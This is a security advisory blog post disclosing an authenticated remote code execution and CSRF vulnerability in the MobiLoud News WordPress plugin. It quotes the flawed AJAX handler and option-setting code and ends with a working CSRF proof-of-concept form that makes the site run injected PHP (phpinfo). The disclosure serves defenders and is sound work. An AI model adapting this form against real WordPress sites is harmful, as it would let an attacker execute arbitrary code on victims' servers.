As part of monitoring we do to make sure we are providing customers of our service with the best possible data on vulnerabilities in WordPress plugins they may be using we monitor for what look to be hackers probing for usage of plugins to make sure we quickly can warn our customers of unfixed vulnerabilities that hackers are likely targeting. A month ago through that we saw an apparent ongoing hacker campaign exploiting previously undisclosed vulnerabilities involving nine plugins. Recently that has started up again, with the plugin MobiLoud News being one of the new plugins. There was probing on our website two days for that plugin by requesting these files:

• /wp-content/plugins/mobiloud-mobile-app-plugin/description.txt
• /wp-content/plugins/mobiloud-mobile-app-plugin/readme.txt

In beginning to check over the plugin figure out what a hacker would be interested in exploiting we found multiple vulnerabilities. What might be the most serious is an authenticated remote code execution (RCE) vulnerability that would allow an attacker to run arbitrary PHP code on the website. It could also be exploited through cross-site request forgery (CSRF).

The plugin registers the function save_editor() to be accessible through WordPress’ AJAX functionality by those logged in to WordPress:

107

add_action( 'wp_ajax_ml_save_editor', array( 'Mobiloud_Admin', 'save_editor' ) );

That function doesn’t do any security checks before allowing a number of the plugin’s settings to be updated to arbitrary values:

1469
1470
1471
1472
1473
1474
1475
1476

public static function save_editor() {
	if ( isset( self::$editor_sections[ $_POST['editor'] ] ) ) {
		Mobiloud::set_option( $_POST['editor'], $_POST['value'] );
		self::flush_cache();
		echo '1';
		die();
	}
}

568
569
570
571
572
573
574

public static function set_option( $name, $value ) {
	/*
	$options = get_option(self::$option_key, array());
	$options[$name] = $value;
	return update_option(self::$option_key, $options);*/
	return update_option( $name, $value );
}

There should be a capabilities check to restrict who can access that as well as a nonce check to prevent CSRF.

The description of the settings you can update indicates that you can set both the value of both PHP and JavaScript code:

60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79

public static $editor_sections  = array(
	'ml_post_head'                => 'PHP Inside HEAD tag',
	'ml_html_post_head'           => 'HTML Inside HEAD tag',
	'ml_post_custom_js'           => 'Custom JS',
	'ml_post_custom_css'          => 'Custom CSS',
	'ml_post_start_body'          => 'PHP at the start of body tag',
	'ml_html_post_start_body'     => 'HTML at the start of body tag',
	'ml_post_before_details'      => 'PHP before post details',
	'ml_html_post_before_details' => 'HTML before post details',
	'ml_post_right_of_date'       => 'PHP right of date',
	'ml_post_after_details'       => 'PHP after post details',
	'ml_html_post_after_details'  => 'HTML after post details',
	'ml_post_before_content'      => 'PHP before Content',
	'ml_html_post_before_content' => 'HTML before Content',
	'ml_post_after_content'       => 'PHP after Content',
	'ml_html_post_after_content'  => 'HTML after Content',
	'ml_post_after_body'          => 'PHP at the end of body tag',
	'ml_html_post_after_body'     => 'HTML at the end of body tag',
	'ml_post_footer'              => 'PHP Footer',
);

As the proof of concept below shows, the first setting, which is described as “PHP Inside HEAD tag”, permits arbitrary PHP code to run.

WordPress Causes Full Disclosure

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will cause the results of the phpinfo() to be be displayed at /wp-content/plugins/mobiloud-mobile-app-plugin/get_page.php?post_id=1, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=ml_save_editor" method="POST">
<input type="hidden" name="editor" value="ml_post_head" />
<input type="hidden" name="value" value="phpinfo();" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?